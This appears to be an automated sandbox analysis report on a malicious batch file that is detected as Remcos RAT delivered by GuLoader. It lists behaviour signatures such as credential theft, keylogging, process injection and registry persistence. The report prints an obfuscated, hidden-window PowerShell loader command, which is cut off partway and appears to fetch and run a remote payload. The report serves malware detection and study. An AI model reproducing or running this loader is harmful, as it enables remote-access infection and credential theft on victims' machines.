Edit tour
Windows
Analysis Report
SKM_0001810-01-2024-GL-3762.bat
Overview
General Information
Detection
Remcos, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Installs new ROOT certificates
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 6756 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\SKM_0 001810-01- 2024-GL-37 62.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6732 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1188 cmdline:
powershell .exe -wind owstyle hi dden " <#E nfect Tict oc Helleba rdistens S kovrankern es Redobli ngers Solo th #>;$Raw boned31='O bservation sklasser'; <#Calvinis tically Br unstiges M atroser Re searched # >;$Anisome tropic=$Bo oed+$host. UI; functi on Overfal len($Suban tarctic161 ){If ($Ani sometropic ) {$Fredni ngerne++;} $Ponceau=$ Lsevrdiges +$Subantar ctic161.'L ength'-$Fr edningerne ; for( $Un sullenly=4 ;$Unsullen ly -lt $Po nceau;$Uns ullenly+=5 ){$Prikken des=$Unsul lenly;$Cem balister+= $Subantarc tic161[$Un sullenly]; $Overprodu ctive='Mgl ernes';}$C embalister ;}function Indsigels er($bullac es){ & ($ Klassikern es130) ($b ullaces);} $Resistant e=Overfall en ' upeMR dstoHalvz teriAntelj a el Un aD ogw/Forl ' ;$Resistan te+=Overfa llen ' ajs 5N.en. eng 0 or Step( B,nnWChiri DystnB ded Fy koIntew Ruf sSkol UninNT mbT unk Chap1 Vern0None. .yto0Kolo; Kleh LibrW Ri.gi rugn D e6Ove 4 Dyve;Over ,agdx opf6 Lage4klas; Forf Skelr ScorvDrif: Vate1Lith3 Orga1Bogs. Ber 0Unla) Agle UnliG SynkeVurdc L rekHel o Ples/Dane2 Form0 Che1 Ramb0P on0 ublu1B.ll0 Udl1Top. VareFS pei SnasrKulde IntefMalpo Drifxgr b/ Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=O verfallen 'ForsUTele SPon,e Ibi RCom,-unam Ask lGOps ECrypNTele TYder ';$T hirdendeal =Overfalle n 'BarrhSo natD.stt O thptr n:Ch ew/Mine/Wi fea,tacrTr sktStati S koeOverrTe lti,rne.Me xir,agnoRe cr/ ShalDo s /Cap SUd d q NonuHy ,riRagnr R aat.emiiRe fos,okkhFr em. dstBom boD.edcino r ';$Chrom ophotograp hic=Overfa llen 'soli > Kur ';$K lassikerne s130=Overf allen 'Je eI F,leRep aXF nc ';$ Adddbr='Ma lleal';$ea rlships='\ Categorize s.Afg';Ind sigelser ( Overfallen 'Syzy$Ins ,GMisaLDem oo vibBib a Seal Uti :CinnEKse NLag gEnje R TroOData S llepI te ROttoiingl SW.ekeF.am rGermnAbse eKory=Bes $ UdbEAp k nKarrvAmar :F yvamanv P etypPat. DTrskAG,ne tHnenAFel, +Aaer$ His eko oA Ing R stel Pog STou.hRe,u iFolkPPare SPrea ');I ndsigelser (Overfall en ',rei$T wosgQua L errO SpeBd ynaAK.ntLR dse:RefriS pe NUn eDT om oH,pemU nmiAElidbD ehyl TaxeT eks=Nrin$V a ut LydH CouI OveRC onnd Atoe U.sNEksiD ,rbeMania En LDilu.t .orSWavepK ntl leriF rihTDieb( oly$JordcT elehMd drb ulloCaroMS eaOGru.P ceahOss OF acetSutuOP sykgClayrD riaH phpT chH EriI HolCGg,e)I lds ');Ind sigelser ( Overfallen 'Hemo[B t yN lokEEf. eT Vra. T ssSixtEGeo .r FerVAna liSv mc o, qe lorpSpo roEndai Om bNTheutFil mMCustaAl, oN CroA Ye lGSkvaE ed gr.lbn] Um .: rom: In iSC tre nd eCAffeuTon gRTremIOp kt SelY .l aP DisR Ge .OKlosTIn io EntCLml eo ell Den Grak= uni Toch[Uph, NCra E Hyp TSk.l.O,lg sLentE lin C SlaUInsu RColoIEn.r tHavvYFors PVelfRDonn o airtStik OMicrC.ane ORotalSnuf tUlvsYTilg pForteWea. ]Mois:Le t : ,retBrai LDecrSSeku